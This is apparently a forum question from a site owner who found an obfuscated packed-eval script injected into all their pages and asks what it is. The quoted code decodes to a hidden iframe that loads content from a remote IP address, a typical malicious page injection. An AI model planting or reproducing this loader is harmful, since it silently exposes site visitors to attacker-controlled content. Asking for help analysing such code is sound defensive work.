I have noticed today that all my sites have the following codes injected to them with out my knowledge. ?><script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('9.3("<0 f=\'e:d;\' b=\'a.c\'><1 8=\'5://2.7.6.4/g/\'></1></0>");',17,17,'div|iframe|78|write||http|202|129|src|document|vers_06|class||none|display|style|ad'.split('|'),0,{}))</script> Code (markup): Does any knew what this code all about and why they were suddenly in my site pages...
